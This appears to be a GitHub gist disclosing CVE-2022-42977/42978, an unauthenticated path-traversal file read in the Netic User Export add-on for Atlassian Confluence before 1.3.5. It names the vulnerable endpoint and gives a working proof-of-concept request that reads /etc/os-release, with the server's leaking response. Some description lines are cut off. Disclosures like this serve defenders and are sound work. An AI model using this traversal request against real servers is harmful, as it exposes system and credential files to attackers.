Instantly share code, notes, and snippets.

CveCt0r / Unauthenticated Arbitrary File Read

Secret

Last active 8 days ago

☆ Star

Code   Revisions 2

Unauthenticated Arbitrary File Read

```
Vulnerability Type: Unauthenticated     Arbitrary File Read
Vendor of Product: Atlassian Confluence
Affected Product Code Base:  User Export for Confluence
Product Version: < 1.3.5
Description: The Netic User Export add-on before 1.3.5 for Atlassian Confluence has the functional
Attack Vectors: Attacker could make an HTTP request to the affected endpoint and download any file
Attack Type: Remote
Endpoint: /plugins/servlet/confluenceuserexport/admin/download
Assigned CVE-ID: CVE-2022-42977, CVE-2022-42978

Steps To Reproduce
1. Issue a HTTP POST/GET request to the following endpoint: https://<confluence.example.com>/plugi


#PoC
[REQUEST]
GET /plugins/servlet/confluenceuserexport/admin/download?fileName=../../../../../../etc/os-release
Host: confluence.example.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*


[RESPONSE]
HTTP/1.1 401
Set-Cookie: JSESSIONID=ABCDEFGHIJKLMNOPQRSTUVWYZ; Path=/; HttpOnly
WWW-Authenticate: OAuth realm="confluence.example.local"
Content-Disposition: attachment; filename=../../../../../etc/os-release
Content-Type: text/html;charset=UTF-8
Content-Length: 407

Not AuthorizedNAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
```